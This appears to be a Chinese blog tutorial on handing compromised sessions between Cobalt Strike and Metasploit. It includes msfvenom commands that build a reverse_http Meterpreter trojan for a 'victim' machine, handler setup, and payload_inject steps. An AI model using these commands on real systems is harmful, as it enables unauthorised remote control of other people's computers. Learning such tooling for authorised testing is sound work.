MSF与CS互相派生

发布时间 2023-10-15 17:49:55作者: NPC001

CS与MSF互相派生

CS派生给MSF

使用CS建立监听
  1. 创建CS监听端口
  2. 利用创建的CS端口生成控制器
  3. 设法传至受害机并进行运行,收到请求
  4. 建立转发给MSF的监听端口
MSF接收CS派生
  1. 配置MSF
    • 使用multi\handler模块
      use exploit/multi/handler 
      
    • 设置模块的载荷、监听地址及端口
      设置载荷:
      set payload 攻击载荷
      列如:set payload windows/meterpreter/reverse_http
      
      设置地址:
      set LHOST IPaddress
      列如:set LHOST 192.168.49.130
      
      设置端口:
      set LPORT Port
      列如:set LPORT 4445
      
    • 配置填写完成后运行
      • 查看配置
        show options
        
        我所建立的配置为:
      • 后台运行
        • 设置全局监听后不会中断监听
          setg EXITONSESSION false
          
        • 运行
          run -j
          
          或者
          exploit -j
          
      • 查看运行的监听
        jobs

        如果想要杀死本jobs可以使用jobs -k jobId
  2. CS选择想要派生给MSF的监听
    • 选中监听,电击鼠标右键,在弹出的菜单栏重选择Spawn选项
    • 选择之前创建的派生端口进行转发
  3. 可以看到MSF接收到了CS派生过来的会话
    • 进入会话测试是否成功
      session sessionID
      sessions 1
      pwd

      注: 杀死session命令为 sessions -k sessionID
  4. 可能遇到的问题
    • 进行转发的过程发现受害机弹出如下图的错误提示
      "0x00ad0002" 指令引用的 "0x00000000" 内存。该内存不能为 "read" 。
    • 同时发现宿主机的MSF监听失败

      原因一般为MSF创建监听的时候使用的攻击载荷(payload)与CS创建的控制软件选择的监听器攻击载荷不一样导致

MSF派生给CS

使用MSF建立监听
  1. 使用 msfvenom 生成控制木马
    列如:msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.49.130 LPORT=9999 -f exe -o http_9999.exe
    
  2. MSF 设置接收监听的端口
    注意: MSF当中的端口与IP要与第一步msfvenom重生成木马所填写的IP与端口一致
    我设置的options如下:

    使用run -j/exploit -j运行
  3. 受害机运行产生响应测试是否成功
  4. 将 MSF 得到 meterpreter\shell 派生给 CS
    • cs 建立内部监听端口
    • MSF 使用 windows/local/payload_inject 模块
      use exploit/windows/local/payload_inject
      
      备注:若进入了shell\meterpreter又不想退出的可以使用ctrl+Z将起放入后台sessions重运行
    • 配置模块并且运行
      set LHOST CS地址
      set LPORT CS监听端口
      set session sessionID # 想要转发给CS的sessionID
      
    • 观察并测试CS是否得到的监听且是否正确
      • 出现监听
      • 测试是否成功
  5. 可能遇到的问题
    • 运行了,但是MSF控制台出现形如下图的信息,而CS却没用监听到

      需要设置set DisablePayloadHandler true使其不在本地产生session从而干扰CS监听端口获得监听